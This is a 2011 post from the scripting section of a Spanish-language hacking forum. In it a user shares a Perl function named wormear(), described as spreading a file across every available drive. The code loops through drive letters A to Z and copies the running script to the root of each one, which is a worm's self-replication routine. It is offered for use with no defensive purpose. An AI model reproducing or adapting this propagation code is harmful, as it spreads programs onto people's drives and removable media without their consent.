Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: BigBear en 10 Octubre 2011, 16:51 PM

Título: [Perl] Funcion wormer()
Publicado por: BigBear en 10 Octubre 2011, 16:51 PM
Con esta funcion podran reproducir un archivo por todas las unidades disponibles

Código (perl) [Seleccionar]

#ascii chr(65) = A | chr(90) = Z
#By Doddy H

use File::Copy;

sub wormear {
for my $dir(65..90) {
copy($0,chr($dir).":/");
}
}


Ejemplo de uso



wormear($0);